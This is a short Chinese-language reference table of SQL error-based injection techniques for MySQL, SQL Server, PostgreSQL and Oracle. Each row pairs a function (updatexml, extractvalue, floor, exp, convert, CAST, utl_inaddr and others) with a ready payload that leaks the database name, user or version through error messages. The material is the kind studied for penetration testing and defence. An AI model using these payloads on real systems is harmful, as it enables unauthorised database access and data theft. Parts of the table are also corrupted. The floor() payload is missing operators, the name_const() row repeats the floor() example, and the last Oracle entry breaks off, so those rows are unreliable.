SQL 报错注入函数有哪些
MySQL
函数/方法 | 利用原理 | 举例 |
---|---|---|
updatexml() | 修改 XML 文档,不合法的 XPath 路径会报错并显示内容 | ... AND updatexml(1,concat(0x7e, (SELECT database()), 0x7e),1) |
extractvalue() | 从 XML 字符串提取值,不合法的 XPath 路径会报错并显示内容 | ... AND extractvalue(1, concat(0x7e, (SELECT user()))) |
floor() | 结合 GROUP BY 和 rand(),制造重复键错误,将数据作为键值显示 | ... AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
name_const() | 用于创建一个带名称的匿名列。当在子查询中,我们使用 NAME_CONST() 将查询结果作为列名,并且这个列名在子查询中已经存在时,就会引发一个“重复列名”的错误,并将查询结果显示出来 |
AND (SELECT 1 FROM (SELECT count(), concat(database(),floor(rand(0)2))x FROM information_schema.tables GROUP BY x)a) |
exp() | 我们可以通过 ~ 按位取反操作,将一个大的负数转换成一个巨大的正数,从而触发溢出 |
AND (exp(~(SELECT * FROM (SELECT database())x))) |
SQL Server
函数/方法 | 利用原理 | 举例 |
---|---|---|
convert() / cast() | 强制类型转换,将非数字字符串转换为整型会报错并显示字符串内容 | ... AND 1=convert(int,(SELECT db_name())) |
PostgreSQL
函数/方法 | 利用原理 | 举例 |
---|---|---|
cast() | 强制类型转换,将字符串转换为不兼容的数据类型时报错 | ... AND 1=CAST((SELECT version()) as int) |
Oracle
函数/方法 | 利用原理 | 举例 |
---|---|---|
utl_inaddr.get_host_address() | utl_inaddr.get_host_address() 会将不合法的IP地址或域名作为错误信息的一部分 | ... AND 1=(SELECT utl_inaddr.get_host_address((SELECT user FROM dual))) |
ctxsys.drithsx.sn() | 在执行 ctxsys.drithsx.sn() 函数时,不合法的参数会引发错误并显示内容 | ... AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')) |
dbms_utility.sqlcode_to_char() | 这个函数用于将错误代码转换为字符。它本身不是用来报错的,但可以和其他会报错的函数结合使用 | AND 1=TO_NUMBER((SELECT 'a' |